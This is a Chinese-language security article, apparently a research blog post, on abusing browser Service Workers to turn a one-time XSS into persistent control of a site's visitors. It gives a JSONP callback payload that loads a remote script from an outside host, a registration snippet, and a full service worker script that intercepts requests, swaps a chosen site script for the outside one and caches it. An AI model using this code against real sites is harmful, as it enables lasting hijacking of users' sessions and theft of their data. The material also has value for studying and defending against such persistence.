來源:http://www.mottoin.com/95058.html
作者:長短短
0x01 前言
今天給大家介紹一項新的瀏覽器技術:Service Workers,以及在 XSS 攻擊中的利用方式。
在利用 XSS 進行攻擊的過程中經常會遇到一個問題,就是目標觸發一次 XSS 水坑之后就不再觸發了,但竊取到的信息并不足以進行下一步攻擊,這時候我們就需要「持久化 XSS」的技術。在過去有很多種方式來提高 XSS 在線時間,如 opener hijack、link hijack、HTTP cache hijack,前兩項的提升有限,后一項要求較高需要 CRLF Inject 來完成。
Service Workers 全局請求攔截技術讓我們可以用 JS 代碼來攔截瀏覽器當前域的 HTTP 請求,并設置緩存的文件,直接返回,不經過 web 服務器,使目標只要在線就可以被我們控制。當然,由于這項技術能量太大,所以在設計的時候對他做了一定的約束:只在 HTTPS 下工作,安裝ServiceWorker的腳本需要當前域下,且返回的 content-type 包含 /javascript。
了解 ServiceWorker 最快的辦法是在 Chrome 下打開 chrome://serviceworker-internals,如下圖:

nstallation Status 表示是否被激活,Script 是我們安裝的腳本。
在攻擊的時候我們的安裝腳本通常是使用 JSONP 接口來完成,如:
[https://target.com/user/xxx?callback=.get('//html5sec.org/test.js'))
通過這種方式來完成 ServiceWorker 的安裝要求。Payload 中用到的 trick 是 jQuery.get 函數會自動將返回頭 content-type 為 */javascript 的資源作為 JS 代碼執行。
0x02 安裝
安裝方式:
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/user/xxx?callback=alert(1)')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
安裝之后可以通過開發者工具查看是否成功:
- 進入 chrome://flags 開啟 ‘Enable DevTools Experiments’.
- 打開DevTools, 進入 Setting > Experiments , 連續按shift鍵6下
- 在DevTools的Resources頁面里就能看到剛被開啟的隱藏功能:

如果安裝腳本出現錯誤則會顯示:

0x03 攻擊思路
安裝好之后,現在應該考慮如何植入攻擊腳本?
在編寫攻擊腳本之前我們需要先了解一個瀏覽器技術的概念叫:Web Worker。
「Web Worker 是HTML5標準的一部分,這一規范定義了一套 API,它允許一段JavaScript程序運行在主線程之外的另外一個線程中。Web Worker 規范中定義了兩類工作線程,分別是專用線程Dedicated Worker和共享線程 Shared Worker,其中,Dedicated Worker只能為一個頁面所使用,而Shared Worker則可以被多個頁面所共享。」
ServiceWorker 的腳本在后臺運行過程中用的就是 Worker,這里我不多介紹 Worker 的用法,但我們需要知道 Worker 的一些限制。
在 worker 線程中,可以獲得下列對象
- navigator對象
- location對象,只讀
- XMLHttpRequest對象
- setTimeout/setInterval方法
- Application Cache
- 通過importScripts()方法加載其他腳本
- 創建新的Web Worker
Worker 線程不能獲得下列對象
- DOM對象
- window對象
- document對象
- parent對象
上述的規范,限制了在worker線程中獲得主線程頁面相關對象的能力,所以在worker線程中,不能進行dom元素的更新。也就是說在 Worker 的作用域中我們難以完成 XSS 攻擊,所以還是得通過劫持站內的 JS 來完成攻擊。
當 Service Worker 安裝成功,并且用戶瀏覽了另一個頁面或刷新當前頁面后,Service Worker 開始接收 fetch 事件,也就是感染腳本,我把它命名為 swhihack.js。
首先是監聽 fetch 事件:
self.addEventListener('fetch', function(event) {
//worker context
});
將 response 進行緩存:
function requestBackend(event){
var url = event.request.clone();
if(url=='xxxxxx'){//判斷是否為需要劫持的資源
url.url='//html5sec.org/test.js';
}
return fetch(url).then(function(res){
//檢測是否為有效響應
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open(CACHE_VERSION).then(function(cache){
cache.put(event.request, response);
});
return res;
})
}
完工:
self.addEventListener('fetch', function (event) {
event.respondWith(
caches.match(event.request).then(function(res){
if(res){//如果有緩存則使用緩存
return res;
}
return requestBackend(event);//沒緩存就進行緩存
})
)
});
二向箔安全微信公眾號

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/177/
暫無評論